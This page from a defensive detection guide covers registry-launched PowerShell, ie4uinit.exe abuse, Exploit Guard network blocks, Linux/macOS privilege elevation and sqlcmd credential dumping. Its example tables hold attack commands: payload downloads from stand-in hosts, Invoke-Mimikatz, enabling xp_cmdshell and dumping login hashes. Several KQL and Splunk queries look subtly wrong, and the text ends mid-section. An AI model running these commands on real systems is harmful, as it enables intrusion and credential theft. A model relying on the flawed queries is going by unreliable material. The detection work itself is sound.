> For the complete documentation index, see [llms.txt](https://0xmedhat.gitbook.io/whoami/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xmedhat.gitbook.io/whoami/attacks-and-detections/part-7.md).

# Part 7

## 🚨 **PowerShell Invocation from Registry**

***

### 🔍 **1. Attack Breakdown**

#### 📝 **What is PowerShell Invocation from Registry?**

* **PowerShell Invocation from Registry** is a technique where malicious payloads or commands are stored in **Windows Registry keys** and then executed using **PowerShell**.
* Attackers use this technique for:
  * **Persistence:** Execute malicious commands on system startup or user login.
  * **Defense Evasion:** Hide commands in registry keys instead of traditional scripts.
  * **Stealth:** Avoid dropping visible files on disk.

***

#### 📑 **Why Do Attackers Use the Registry for PowerShell Invocation?**

* **Stealth:** Registry-based execution is less visible than file-based attacks.
* **Persistence:** Payloads can be triggered at startup or specific events.
* **Evasion:** Commands stored in registry are harder for traditional antivirus to detect.
* **Flexibility:** Can execute any arbitrary PowerShell code.

***

#### 📌 **Common Attack Scenarios**

| **Technique**                      | **Registry Path**                                                             | **Example Payload**                                                           |
| ---------------------------------- | ----------------------------------------------------------------------------- | ----------------------------------------------------------------------------- |
| **Startup Persistence**            | `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`                          | `powershell.exe -c "Invoke-WebRequest -Uri http://malicious.com/payload.ps1"` |
| **Scheduled Task Registry Key**    | `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks`  | `powershell.exe -EncodedCommand <base64>`                                     |
| **AutoRun Key Abuse**              | `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run` | `powershell.exe -Command Start-Process notepad.exe`                           |
| **Obfuscated Payload in Registry** | `HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System`              | `powershell.exe -c "IEX (Get-Content 'reg_path')"`                            |
| **Shell Handlers**                 | `HKCU\Software\Classes\mscfile\shell\open\command`                            | `powershell.exe -c Invoke-Mimikatz`                                           |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection with PowerShell**

**🕵️ Search Common Startup Keys for PowerShell Commands**

```powershell
Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' | Select-Object *
Get-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Run' | Select-Object *
```

**🕵️ Search Registry for PowerShell Commands Globally**

```powershell
reg query HKCU /s /f "powershell"
reg query HKLM /s /f "powershell"
```

**🕵️ Inspect Scheduled Tasks in Registry**

```powershell
Get-ChildItem -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks' | 
ForEach-Object { Get-ItemProperty -Path $_.PsPath }
```

**🕵️ Look for Base64-Encoded PowerShell Commands**

```powershell
reg query HKCU /s /f "powershell.exe -EncodedCommand"
```

**🕵️ Monitor Registry Key Changes**

```powershell
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=12} |
Where-Object { $_.Message -like "*powershell*" }
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect PowerShell Invocation via Registry Keys**

```kusto
DeviceRegistryEvents
| where RegistryKey contains "CurrentVersion\\Run" or RegistryKey contains "TaskCache"
| where RegistryValueData contains "powershell.exe"
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData, AccountName
```

**🕵️ Identify Base64-Encoded PowerShell Commands in Registry**

```kusto
DeviceRegistryEvents
| where RegistryValueData contains "-EncodedCommand"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName
```

**🕵️ Trace PowerShell Executions Triggered from Registry Keys**

```kusto
DeviceProcessEvents
| where ProcessCommandLine contains "powershell.exe"
| where InitiatingProcessFileName == "reg.exe"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Detect Suspicious Registry Paths Executing PowerShell**

```kusto
DeviceRegistryEvents
| where RegistryKey contains "Run" or RegistryKey contains "TaskCache"
| where RegistryValueData contains "IEX"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName
```

***

#### 📊 **Event Viewer Logs**

| **Event ID**    | **Description**                                                   |
| --------------- | ----------------------------------------------------------------- |
| **4688**        | A new process was created (`powershell.exe`).                     |
| **4663**        | Object access attempt detected on a registry key.                 |
| **4104**        | PowerShell script block logging (useful for obfuscated payloads). |
| **12 (Sysmon)** | Registry key or value was created.                                |
| **13 (Sysmon)** | Registry key or value was modified.                               |

**📌 Focus on Event ID 4688:**

* Look for:

  ```plaintext
  ProcessCommandLine: powershell.exe -c "IEX (Get-ItemProperty 'HKCU:\\malicious_key')"
  ```

**📌 Focus on Event ID 4663:**

* Registry access attempts:

  ```plaintext
  RegistryKey: HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
  ```

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Inspect Specific Registry Keys**

```powershell
Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run'
```

***

#### 2️⃣ **Trace PowerShell Commands via Sysmon Logs**

```powershell
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=12}
```

***

#### 3️⃣ **Analyze Process Tree**

* Trace parent-child relationships:

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq <PID> }
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Remove Malicious Registry Keys**

```powershell
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'SuspiciousKey'
```

#### 📌 **2. Disable Registry Editing for Non-Admin Users**

* Apply Group Policy to prevent unauthorized changes.

#### 📌 **3. Monitor Registry Changes Continuously**

* Enable Registry auditing and monitor changes.

#### 📌 **4. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Enable Registry Auditing:**
   * Monitor `HKCU:\Run` and `HKLM:\Run` keys.
2. **Block Obfuscated PowerShell Commands:**
   * Use Windows Defender Exploit Guard (ASR Rules).
3. **Restrict Registry Access:**
   * Limit modification permissions for sensitive keys.
4. **Enable Command Line Logging:**
   * Track PowerShell invocation via Event ID **4688**.
5. **Educate Users:**
   * Avoid executing unknown scripts or registry changes.

***

### 🧠 **6. Key Takeaways**

* **Focus on Registry Keys:** `Run`, `TaskCache`, `Explorer\StartupApproved`.
* **Monitor Event IDs:** **4688**, **4663**, **12 (Sysmon)**, **13 (Sysmon)**.
* **Look for Obfuscated Payloads:** `-EncodedCommand`, `IEX`.

***

## 🚨 **Unusual ie4uinit Process Path**

***

### 🔍 **1. Attack Breakdown**

#### 📝 **What is `ie4uinit.exe`?**

* **`ie4uinit.exe`** is a legitimate Windows system file located in:
  * **`C:\Windows\System32\ie4uinit.exe`**
  * **`C:\Windows\SysWOW64\ie4uinit.exe`**
* It is used for **Internet Explorer user profile initialization** and to handle **user-specific configurations** for the browser.

#### 📑 **Why Do Attackers Abuse `ie4uinit.exe`?**

* **Trusted Binary:** It is signed by Microsoft, making it less suspicious.
* **Execution Proxy:** Can be used to execute malicious payloads indirectly.
* **Persistence:** Often abused in startup tasks or registry keys for persistence.
* **Evasion:** May bypass traditional antivirus and security solutions.

#### 📌 **Common Attack Scenarios**

| **Technique**             | **Description**                                 | **Example Command**                                                    |
| ------------------------- | ----------------------------------------------- | ---------------------------------------------------------------------- |
| **Process Path Spoofing** | Run `ie4uinit.exe` from an unusual location.    | `C:\Temp\ie4uinit.exe`                                                 |
| **Execution Proxy**       | Use `ie4uinit.exe` to execute a malicious DLL.  | `C:\Windows\Temp\ie4uinit.exe payload.dll`                             |
| **Startup Persistence**   | Create a startup entry invoking `ie4uinit.exe`. | `reg add HKCU\...\Run /v ie4uinit /t REG_SZ /d "C:\Temp\ie4uinit.exe"` |
| **Fileless Execution**    | Use `ie4uinit.exe` in-memory execution.         | `C:\Windows\System32\ie4uinit.exe /k powershell -c <payload>`          |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection with PowerShell**

**🕵️ List All `ie4uinit.exe` Processes**

```powershell
Get-Process -Name ie4uinit | Select-Object Id, Path, StartTime
```

**🕵️ Validate `ie4uinit.exe` Paths**

```powershell
Get-Command ie4uinit.exe | Select-Object Name, Source
```

**🕵️ Check `ie4uinit.exe` in Unusual Directories**

```powershell
Get-ChildItem -Path "C:\Windows\Temp", "C:\Users\Public", "C:\ProgramData" -Filter "ie4uinit.exe" -Recurse
```

**🕵️ Inspect `ie4uinit.exe` Registry Keys**

```powershell
Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' |
Where-Object { $_ -match "ie4uinit" }
```

**🕵️ Trace Parent-Child Relationships**

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.Name -eq "ie4uinit.exe" } |
Select-Object ProcessId, ParentProcessId, CommandLine
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect `ie4uinit.exe` Executed from Suspicious Paths**

```kusto
DeviceProcessEvents
| where FileName == "ie4uinit.exe"
| where FolderPath !startswith "C:\\Windows\\System32" and FolderPath !startswith "C:\\Windows\\SysWOW64"
| project Timestamp, DeviceName, FolderPath, ProcessCommandLine, ParentProcessName, AccountName
```

**🕵️ Identify Suspicious Parent Processes for `ie4uinit.exe`**

```kusto
DeviceProcessEvents
| where FileName == "ie4uinit.exe"
| where ParentProcessFileName !in ("explorer.exe", "cmd.exe")
| project Timestamp, DeviceName, ParentProcessFileName, ProcessCommandLine, AccountName
```

**🕵️ Trace Registry-Based Persistence with `ie4uinit.exe`**

```kusto
DeviceRegistryEvents
| where RegistryKey contains "CurrentVersion\\Run"
| where RegistryValueData contains "ie4uinit.exe"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName
```

**🕵️ Monitor File Creation of `ie4uinit.exe` in Suspicious Directories**

```kusto
DeviceFileEvents
| where FileName == "ie4uinit.exe"
| where FolderPath contains "Temp" or FolderPath contains "Public"
| project Timestamp, DeviceName, FolderPath, FileName, AccountName
```

***

```
```

#### 📊 **Event Viewer Logs**

| **Event ID** | **Description**                             |
| ------------ | ------------------------------------------- |
| **4688**     | A new process was created (`ie4uinit.exe`). |
| **4663**     | Object access attempt (e.g., file access).  |
| **4104**     | PowerShell script block execution.          |
| **7045**     | A new service was installed.                |

**📌 Focus on Event ID 4688:**

* Look for:

  ```plaintext
  ProcessCommandLine: C:\Users\Public\ie4uinit.exe
  ParentProcessName: cmd.exe
  ```

**📌 Focus on Event ID 4663:**

* Registry access:

  ```plaintext
  RegistryKey: HKCU:\Software\Microsoft\Windows\CurrentVersion\Run
  ```

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Trace Unusual Process Paths**

```powershell
Get-Process -Name "ie4uinit" | Select-Object Path
```

***

#### 2️⃣ **Analyze Parent Process**

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq <PID> }
```

***

#### 3️⃣ **Check Registry for Persistence**

```powershell
reg query HKCU /s /f "ie4uinit.exe"
reg query HKLM /s /f "ie4uinit.exe"
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Terminate Malicious Process**

```powershell
Stop-Process -Name "ie4uinit" -Force
```

#### 📌 **2. Remove Malicious Files**

```powershell
Remove-Item -Path "C:\Users\Public\ie4uinit.exe" -Force
```

#### 📌 **3. Delete Malicious Registry Keys**

```powershell
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "ie4uinit"
```

#### 📌 **4. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Monitor System32 and SysWOW64 Integrity:**
   * Ensure `ie4uinit.exe` exists only in legitimate paths.
2. **Enable Command Line Auditing:**
   * Track process creation with `ie4uinit.exe`.
3. **Restrict Write Access to Sensitive Directories:**
   * Prevent unauthorized writes to `C:\Windows`, `C:\Users\Public`.
4. **Registry Auditing:**
   * Enable alerts for modifications to `Run` keys.
5. **User Awareness:**
   * Educate users on avoiding suspicious downloads or execution prompts.

***

### 🧠 **6. Key Takeaways**

* **Monitor Process Paths:** Validate `ie4uinit.exe` paths regularly.
* **Event IDs to Watch:** **4688**, **4663**, **7045**.
* **Check Parent Processes:** Look for unusual relationships.

***

## 🚨 **Exploit Guard Network Protection Blocked Event:**&#x20;

***

### 🔍 **1. Attack Breakdown**

#### 📝 **What is Exploit Guard Network Protection?**

* **Exploit Guard Network Protection** is a feature in **Microsoft Defender for Endpoint (MDE)** and **Windows Defender Exploit Guard (WDEG)**.
* It **prevents network-based attacks** by blocking connections to **malicious domains, IPs, or URLs**.
* The feature uses threat intelligence feeds and real-time analysis to detect and block malicious connections.

#### 📑 **Why is Network Protection Blocked?**

* The system detected a **malicious network connection attempt** from a process or service.
* Common reasons include:
  * Accessing a **known malicious domain**.
  * Malware attempting **Command and Control (C2)** communication.
  * **Phishing attempts** via malicious URLs.
  * **Data exfiltration** via suspicious outbound traffic.

***

#### 📌 **Common Attack Scenarios**

| **Scenario**                   | **Description**                                    | **Example Indicator**                                            |
| ------------------------------ | -------------------------------------------------- | ---------------------------------------------------------------- |
| **Malware C2 Communication**   | Malware attempting to connect to a command server. | `http://attacker.com/c2`                                         |
| **Phishing Website**           | User accessed a phishing link via browser.         | `http://phishing-site.com`                                       |
| **Data Exfiltration**          | Sensitive data sent to an external server.         | `http://malicious-upload.com`                                    |
| **Malicious Script Execution** | Script triggers outbound traffic to malicious IP.  | `powershell -c "Invoke-WebRequest http://malicious.com/payload"` |
| **Drive-by Download Attack**   | Website delivers malicious files during browsing.  | `http://exploit-landing.com`                                     |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection with PowerShell**

**🕵️ Check Defender Network Protection Events in Event Viewer**

```powershell
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Windows Defender/Operational'; Id=1125} | Select-Object TimeCreated, Message
```

**🕵️ Inspect Blocked Network Connections**

```powershell
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Windows Defender/Operational'; Id=1125} |
ForEach-Object { $_.Message }
```

**🕵️ List Processes Triggering Network Protection Events**

```powershell
Get-Process | Where-Object { $_.Id -in (Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Windows Defender/Operational'; Id=1125} | Select-Object -ExpandProperty ProcessId) }
```

**🕵️ Inspect Recent Malicious Domains and URLs Blocked**

```powershell
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Windows Defender/Operational'; Id=1125} |
Where-Object { $_.Message -match "Domain|IP|URL" }
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect Exploit Guard Network Protection Blocked Events**

```kusto
DeviceEvents
| where ActionType == "ExploitGuardNetworkProtectionBlocked"
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, RemoteIP, RemoteUrl, ActionType
```

**🕵️ Identify Processes Triggering Network Blocks**

```kusto
DeviceProcessEvents
| where ActionType == "ExploitGuardNetworkProtectionBlocked"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Trace Malicious URLs or IPs Triggering Network Protection**

```kusto
DeviceNetworkEvents
| where ActionType == "ExploitGuardNetworkProtectionBlocked"
| project Timestamp, DeviceName, RemoteUrl, RemoteIP, AccountName
```

**🕵️ Monitor Repeated Block Events from the Same Proce**DeviceEvents

```kusto
| where ActionType == "ExploitGuardNetworkProtectionBlocked"
| summarize Count=count() by InitiatingProcessFileName, RemoteUrl, RemoteIP, DeviceName
| order by Count desc
```

**🕵️ Correlate with Web Browsing Activity**

```kusto
DeviceFileEvents
| where InitiatingProcessFileName == "browser.exe"
| where ActionType == "ExploitGuardNetworkProtectionBlocked"
| project Timestamp, DeviceName, InitiatingProcessFileName, RemoteUrl, AccountName
```

***

#### 📊 **Event Viewer Logs**

| **Event ID** | **Description**                                            |
| ------------ | ---------------------------------------------------------- |
| **1125**     | Windows Defender Exploit Guard Network Protection event.   |
| **5156**     | Network connection allowed (trace subsequent connections). |
| **4688**     | Process creation (trace responsible process).              |

**📌 Focus on Event ID 1125:**

* Look for:

  ```plaintext
  Action: Blocked
  RemoteIP: 45.67.89.123
  RemoteUrl: http://malicious.com/payload
  InitiatingProcess: powershell.exe
  ```

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Trace Process Responsible for Blocked Activity**

```powershell
Get-Process -Id <ProcessId>
```

***

#### 2️⃣ **Inspect Command Line Arguments**

* Review the command used:

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.ProcessId -eq <PID> }
```

***

#### 3️⃣ **Analyze Remote URLs and IPs**

* Verify reputation of the URLs and IPs on:
  * [VirusTotal](https://www.virustotal.com/)
  * [AbuseIPDB](https://www.abuseipdb.com/)

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Terminate Malicious Processes**

```powershell
Stop-Process -Id <ProcessId> -Force
```

#### 📌 **2. Block Malicious IPs or Domains**

```powershell
New-NetFirewallRule -DisplayName "Block Malicious IP" -Direction Outbound -RemoteAddress <IP> -Action Block
```

#### 📌 **3. Remove Malicious Scheduled Tasks or Startup Entries**

```powershell
Get-ScheduledTask | Where-Object { $_.TaskPath -like "*malicious*" } | Unregister-ScheduledTask -Confirm:$false
```

#### 📌 **4. Review User Activity**

* Check logs for any unusual behavior tied to the user.

#### 📌 **5. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Enable Exploit Guard Network Protection:**
   * Ensure it's set to **Block Mode** in policy.
2. **Regularly Audit Policies:**
   * Verify that malicious sites and IPs are actively blocked.
3. **Monitor High-Risk Users:**
   * Flag repeat offenders for suspicious activity.
4. **Update Security Tools Regularly:**
   * Ensure definitions and threat intelligence feeds are up-to-date.
5. **Educate Users:**
   * Warn against clicking on suspicious links or downloading unknown files.

***

### 🧠 **6. Key Takeaways**

* **Focus on Event IDs:** **1125**, **4688**, **5156**.
* **Trace Processes Triggering Blocks:** Look for repeat offenders.
* **Correlate with Network Activity:** Validate blocked domains and IPs.
* **Investigate URLs on Threat Intelligence Platforms:** Verify malicious indicators.

***

## 🚨 **Privilege Elevation (Linux & macOS):**&#x20;

***

### 🔍 **1. Attack Breakdown**

#### 📝 **What is Privilege Elevation?**

* **Privilege Elevation** occurs when an attacker **gains higher privileges** (e.g., root or admin access) on a system through vulnerabilities, misconfigurations, or design flaws.
* This is often used for:
  * **Full System Control:** Gain unrestricted access to files and processes.
  * **Persistence:** Maintain access across system reboots.
  * **Lateral Movement:** Access other systems using elevated privileges.
  * **Data Exfiltration:** Bypass access controls.

***

#### 📑 **Why Attackers Seek Privilege Elevation?**

* **Expand Control:** Access sensitive files and services.
* **Bypass Security Controls:** Disable security mechanisms.
* **Establish Persistence:** Create backdoors or scheduled tasks.
* **Credential Dumping:** Extract credentials for further compromise.
* **Cover Tracks:** Modify logs and hide malicious activity.

***

#### 📌 **Common Privilege Elevation Techniques**

| **Technique**                  | **Linux Example**        | **macOS Example**                          |
| ------------------------------ | ------------------------ | ------------------------------------------ |
| **Sudo Misconfigurations**     | `sudo -l` → `sudo bash`  | `sudo -l` → `sudo nano /etc/sudoers`       |
| **Kernel Exploits**            | `CVE-2021-4034 (Polkit)` | `CVE-2019-8526`                            |
| **Setuid Binaries**            | `find / -perm -4000`     | `find / -perm +4000`                       |
| **Weak File Permissions**      | `chmod 777 /etc/shadow`  | `chmod 777 /etc/passwd`                    |
| **Exploiting Services**        | `systemctl edit service` | `launchctl load -w /Library/LaunchDaemons` |
| **Environment Variable Abuse** | `LD_PRELOAD`             | `DYLD_INSERT_LIBRARIES`                    |
| **Credential Dumping**         | `/etc/shadow`            | `security find-generic-password`           |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Linux Detection Techniques**

**🕵️ Check for Sudo Misconfigurations**

```bash
sudo -l
```

**🕵️ Identify Setuid Binaries**

```bash
find / -perm -4000 2>/dev/null
```

**🕵️ Check for Writable System Binaries**

```bash
find /bin /sbin -perm -2 -type f
```

**🕵️ Monitor Sudo Logins**

Check `/var/log/auth.log` or `/var/log/secure`:

```bash
grep 'sudo:' /var/log/auth.log
```

**🕵️ Identify Suspicious Kernel Modules**

```bash
lsmod
dmesg | grep "exploit"
```

**🕵️ Look for Suspicious Cron Jobs**

```bash
crontab -l
ls -al /etc/cron*
```

***

#### 📊 **macOS Detection Techniques**

**🕵️ Check for Sudo Misconfigurations**

```bash
sudo -l
```

**🕵️ List Setuid and Setgid Binaries**

```bash
find / -perm -4000 -o -perm -2000 -type f 2>/dev/null
```

**🕵️ Inspect Launch Daemons and Agents**

```bash
ls /Library/LaunchDaemons
ls ~/Library/LaunchAgents
```

**🕵️ Check for Cron Jobs**

```bash
crontab -l
ls -al /etc/cron*
```

**🕵️ Identify Writable Configuration Files**

```bash
find /System/Library -perm -2 -type f
```

**🕵️ Look for Suspicious Kernel Extensions (kext)**

```bash
kextstat | grep -v com.apple
```

***

### 📊 **SIEM Detection Queries**

#### 📊 **Linux SIEM Query (ELK, Splunk)**

**🕵️ Detect Sudo Privilege Escalation**

```plaintext
index=linux source=/var/log/auth.log
| search "sudo:root"
| stats count by user, command
```

**🕵️ Monitor Exploitation Attempts**

```plaintext
index=linux source=/var/log/messages OR /var/log/syslog
| search "exploit"
| stats count by host, message
```

**🕵️ Identify Abnormal Cron Job Modifications**

```plaintext
index=linux source=/etc/cron*
| stats count by user, command
```

**🕵️ Track Writable Binary Directories**

```plaintext
index=linux
| search "chmod 777"
| stats count by user, path
```

***

#### 📊 **macOS SIEM Query (Splunk, ELK)**

**🕵️ Detect LaunchDaemon Manipulation**

```plaintext
index=macos source=/var/log/system.log
| search "launchctl load"
| stats count by user, command
```

**🕵️ Monitor Sudo Commands**

```plaintext
index=macos source=/var/log/system.log
| search "sudo:"
| stats count by user, command
```

**🕵️ Identify Suspicious Kernel Module Loading**

```plaintext
index=macos source=/var/log/system.log
| search "kextstat"
| stats count by user, command
```

**🕵️ Monitor DYLD\_INSERT\_LIBRARIES Abuse**

```plaintext
index=macos source=/var/log/system.log
| search "DYLD_INSERT_LIBRARIES"
| stats count by user, command
```

###

***

### 🛡️ **3. Investigation Techniques**

#### 1️⃣ **Trace Privilege Escalation Attempts**

```bash
grep "sudo" /var/log/auth.log
grep "root" /var/log/secure
```

***

#### 2️⃣ **Analyze Exploit Attempts**

```bash
dmesg | grep -i exploit
journalctl -k | grep -i exploit
```

***

#### 3️⃣ **Review New Cron Jobs**

```bash
ls -al /etc/cron*
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Remove Malicious Cron Jobs**

```bash
crontab -r
rm -f /etc/cron.d/malicious
```

#### 📌 **2. Revert Permissions**

```bash
chmod 644 /etc/passwd
chmod 600 /etc/shadow
```

#### 📌 **3. Disable Suspicious LaunchAgents**

```bash
launchctl unload ~/Library/LaunchAgents/malicious.plist
```

#### 📌 **4. Revoke Sudo Permissions for Compromised Accounts**

```bash
usermod -L compromised_user
```

#### 📌 **5. Perform Full Antivirus Scan**

```bash
clamscan -r / --bell -i
```

***

### 🛡️ **5. Prevention Steps**

1. **Enable SELinux (Linux):** Enforce security contexts.
2. **Enable SIP (macOS):** Protect system directories.
3. **Limit Sudo Access:** Use least privilege principles.
4. **Monitor Logs:** Regularly review auth logs.
5. **Disable Unused Services:** Stop unnecessary daemons and agents.

***

### 🧠 **6. Key Takeaways**

* **Privilege Escalation is Critical:** Early detection is key.
* **Focus on Key Logs:** `/var/log/auth.log`, `/var/log/secure`, `system.log`.
* **SIEM Queries:** Use KQL, Splunk, or FQL for real-time monitoring.
* **Enable Integrity Checks:** Ensure permissions on sensitive files are secure.

***

## 🚨 **Credential Dumping Using `sqlcmd.exe`**

***

### 🔍 **1. Attack Breakdown**

#### 📝 **What is `sqlcmd.exe`?**

* **`sqlcmd.exe`** is a command-line utility provided by **Microsoft SQL Server**.
* It allows users to connect to SQL Server databases, execute T-SQL commands, and query data.

#### 📑 **Why Do Attackers Abuse `sqlcmd.exe`?**

* **Trusted Binary:** Signed by Microsoft and often allowed by security controls.
* **Credential Access:** Extract stored database credentials.
* **Lateral Movement:** Use database credentials to pivot across systems.
* **Data Exfiltration:** Export sensitive data.
* **Persistence:** Store payloads in SQL Server jobs or procedures.

***

#### 📌 **Common Attack Scenarios**

| **Technique**                             | **Description**                            | **Example Command**                                                          |
| ----------------------------------------- | ------------------------------------------ | ---------------------------------------------------------------------------- |
| **Extract Database Credentials**          | Access SQL Server credentials from memory. | `sqlcmd -Q "SELECT * FROM sys.sql_logins"`                                   |
| **Retrieve Hashes from SQL Tables**       | Dump hashed credentials.                   | `sqlcmd -Q "SELECT name, password_hash FROM sys.sql_logins"`                 |
| **Run Malicious Queries**                 | Execute malicious SQL commands.            | `sqlcmd -Q "EXEC xp_cmdshell 'whoami'"`                                      |
| **Enable xp\_cmdshell for System Access** | Enable external command execution.         | `sqlcmd -Q "EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"`               |
| **Persist via SQL Agent Jobs**            | Create malicious SQL Server jobs.          | `sqlcmd -Q "EXEC msdb.dbo.sp_add_job @job_name='MaliciousJob', @enabled=1;"` |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection with SQLCMD**

**🕵️ Check Active SQLCMD Sessions**

```sql
SELECT * FROM sys.dm_exec_sessions WHERE program_name LIKE '%SQLCMD%';
```

**🕵️ Identify Suspicious Commands Executed via SQLCMD**

```sql
SELECT sql_text FROM sys.dm_exec_requests CROSS APPLY sys.dm_exec_sql_text(sql_handle) WHERE session_id > 50;
```

**🕵️ Monitor SQL Server Agent Jobs**

```sql
SELECT * FROM msdb.dbo.sysjobs;
```

**🕵️ Look for xp\_cmdshell Execution**

```sql
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
```

**🕵️ Check for Suspicious Logins**

```sql
SELECT name, create_date, is_disabled FROM sys.sql_logins;
```

***

#### 📊 **Manual Inspection with PowerShell**

**🕵️ Identify Suspicious SQLCMD Processes**

```powershell
Get-Process -Name sqlcmd | Select-Object Id, ProcessName, Path, StartTime
```

**🕵️ Inspect SQLCMD Command-Line History**

```powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Message -like "*sqlcmd*" }
```

**🕵️ Check SQLCMD Network Connections**

```powershell
Get-NetTCPConnection -OwningProcess (Get-Process -Name sqlcmd).Id
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect SQLCMD Process Execution**

```kusto
DeviceProcessEvents
| where FileName == "sqlcmd.exe"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Identify SQLCMD with Suspicious Command-Line Arguments**

```kusto
DeviceProcessEvents
| where FileName == "sqlcmd.exe"
| where ProcessCommandLine contains "xp_cmdshell" or ProcessCommandLine contains "password_hash"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Trace SQLCMD Network Activity**

```kusto
DeviceNetworkEvents
| where InitiatingProcessFileName == "sqlcmd.exe"
| project Timestamp, DeviceName, RemoteIP, RemotePort, ProcessCommandLine, AccountName
```

**🕵️ Monitor SQLCMD Accessing Sensitive Tables**

```kusto
DeviceFileEvents
| where InitiatingProcessFileName == "sqlcmd.exe"
| where FileName contains "sys.sql_logins"
| project Timestamp, DeviceName, FileName, AccountName
```

**🕵️ Detect SQLCMD Persistence Mechanisms**

```kusto
DeviceProcessEvents
| where FileName == "sqlcmd.exe"
| where ProcessCommandLine contains "sp_add_job"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

***

#### 📊 **Event Viewer Logs**

| **Event ID** | **Description**                           |
| ------------ | ----------------------------------------- |
| **4688**     | New process created (`sqlcmd.exe`).       |
| **4624**     | Account logon (look for database access). |
| **4768**     | Kerberos Authentication Ticket requested. |
| **4104**     | PowerShell script block logging.          |
| **5156**     | Network connection allowed.               |

**📌 Focus on Event ID 4688:**

* Look for:

  ```plaintext
  ProcessCommandLine: sqlcmd -Q "SELECT * FROM sys.sql_logins"
  ```

**📌 Focus on Event ID 4624:**

* Look for suspicious logins via SQLCMD.

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Review SQL Server Error Logs**

```sql
EXEC xp_readerrorlog;
```

***

#### 2️⃣ **Trace SQLCMD Commands from System Logs**

* Review authentication attempts:

```sql
SELECT * FROM sys.dm_exec_connections;
```

***

#### 3️⃣ **Inspect SQLCMD Parent-Child Processes**

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq <SQLCMD_PID> }
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Disable xp\_cmdshell**

```sql
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
```

#### 📌 **2. Revoke Unnecessary Database Permissions**

```sql
REVOKE CONNECT FROM [malicious_user];
```

#### 📌 **3. Terminate Malicious SQLCMD Processes**

```powershell
Stop-Process -Name sqlcmd -Force
```

#### 📌 **4. Remove Malicious SQL Jobs**

```sql
EXEC msdb.dbo.sp_delete_job @job_name='MaliciousJob';
```

#### 📌 **5. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Restrict `xp_cmdshell`:** Disable unless absolutely necessary.
2. **Implement Role-Based Access Control (RBAC):** Minimize privileged accounts.
3. **Enable SQL Server Audit Logs:** Track administrative activities.
4. **Network Segmentation:** Limit SQL Server access.
5. **Monitor SQLCMD Processes:** Create alerts for unusual commands.

***

### 🧠 **6. Key Takeaways**

